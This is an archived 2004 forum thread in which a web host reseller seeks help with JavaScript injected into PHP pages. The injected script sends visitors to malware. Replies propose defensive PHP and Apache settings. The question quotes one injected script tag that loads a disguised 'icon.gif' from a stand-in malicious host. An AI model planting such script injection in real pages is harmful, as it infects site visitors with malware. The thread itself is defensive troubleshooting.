Solved

Apache PHP Code Insert Exploit Problem

Posted on 2004-04-27
8
1,081 Views
Last Modified: 2013-12-04
Hello,

My web host of whom I am a reseller runs Linux Red Hat Apache 1.3.29 and PHP 4.3.6.

We have a sever code insert problem.

On all PHP pages there is sometimes a java script insert which is only created in the user's browser when accessing the page.

The Java script points to a gif file on another web hoster's server and there calls again a redirect which infects to user with a trojan or virus through the browser.

This code insert is periodically, sometimes it is there and sometimes not.

Below please find an example of the code insert. The insert however changes often:

script language="JavaScript" src="http://www.bad.tld/some/path/icon.gif?i=43&to= http://www.mad.tld/for_admin.html

It looks like soemthing can trigger a dynamic loading of an Apache module that causes the code insert into PHP pages.

The tech tried to stop it with mod_security but this mod stops many PHP apps from working e.g CMS, Forums etc.

Anybody has experience with this problem and hopefully a working fix.

Thanks for any help.
0
Comment
Question by:Wildorchid
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
8 Comments
 

Author Comment

by:Wildorchid
ID: 10928429
We have solved the problem.

Somehow somebody uploaded a file named icon.gif probably through a forum or CMS leak. This icon.gif is an exe that reconfigures PHP to load tons of extra modules and manipulates Apache. Then they use a robot that calls the icon.gif URL and triggers the PHP modification from time to time.

Then we have disabled dlopen: disable_functions = dlopen

Hope we got rid of this now and hope above helps somebody else too.

Cheers
0
 
LVL 51

Expert Comment

by:ahoffmann
ID: 10943092
allow_url_fopen = Off
open_basedir = /path/to/your/docuemntroot

should also help fixing such malicious code
Unfortunately PHP is a security pain, its hard to fix all problems.
Best ist to use your CMS on a development server, and then copy the content to the live server, where you've disabpled most PHP scripts.
0
 
LVL 40

Expert Comment

by:jlevie
ID: 11011048
I'd say you still have a problem. When correctly set up there should be no way for anything to manipulate what modules apache or PHP loads unless there's a root exploit available on the server. My guess is that your RedHat system doesn't have all of the security errata installed and someone is exploiting a vulnerability that one of those errata addresses.

I agree with ahoffman that one should never have a CMS on a live server, but even then the process that extracts web page code from a CMS and updates the web server application should be running as the Apache user, who should in turn own all web content. And of course no web application may ever directly do anything as root. In cases where that's necessary the web app should leave a file with a fixed and known format for a root task to pick up, sanity check, and execute only if the contents of the file are "safe". And I can't emphasize enough that the sanit checking must exhibit extreme paranoia.
0
Turn Insights into Action

Communication across every corner of your business is essential to increase the velocity of your application delivery and support pipeline. Automate, standardize, and contextualize your communication processes with xMatters.

 
LVL 51

Expert Comment

by:ahoffmann
ID: 11077727
disagreed
if such a code is in a PHP page, then my suggestion prevents the server to load external URLs
0
 
LVL 1

Accepted Solution

by:
Computer101 earned 0 total points
ID: 11113492
PAQed, with points refunded (500)

Computer101
E-E Admin
0
 
LVL 51

Expert Comment

by:ahoffmann
ID: 11145555
Computer101, why did you PAQ *with* refund?
0

Featured Post

Ransomware: The New Cyber Threat & How to Stop It

This infographic explains ransomware, type of malware that blocks access to your files or your systems and holds them hostage until a ransom is paid. It also examines the different types of ransomware and explains what you can do to thwart this sinister online threat.  

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

SHARE your personal details only on a NEED to basis. Take CHARGE and SECURE your IDENTITY. How do I then PROTECT myself and stay in charge of my own Personal details (and) - MY own WAY...
In a recent article here at Experts Exchange (http://www.experts-exchange.com/articles/18880/PaperPort-14-in-Windows-10-A-First-Look.html), I discussed my nine-month sandbox testing of the Windows 10 Technical Preview, specifically with respect to r…
This is a high-level webinar that covers the history of enterprise open source database use. It addresses both the advantages companies see in using open source database technologies, as well as the fears and reservations they might have. In this…
Monitoring a network: why having a policy is the best policy? Michael Kulchisky, MCSE, MCSA, MCP, VTSP, VSP, CCSP outlines the enormous benefits of having a policy-based approach when monitoring medium and large networks. Software utilized in this v…

691 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question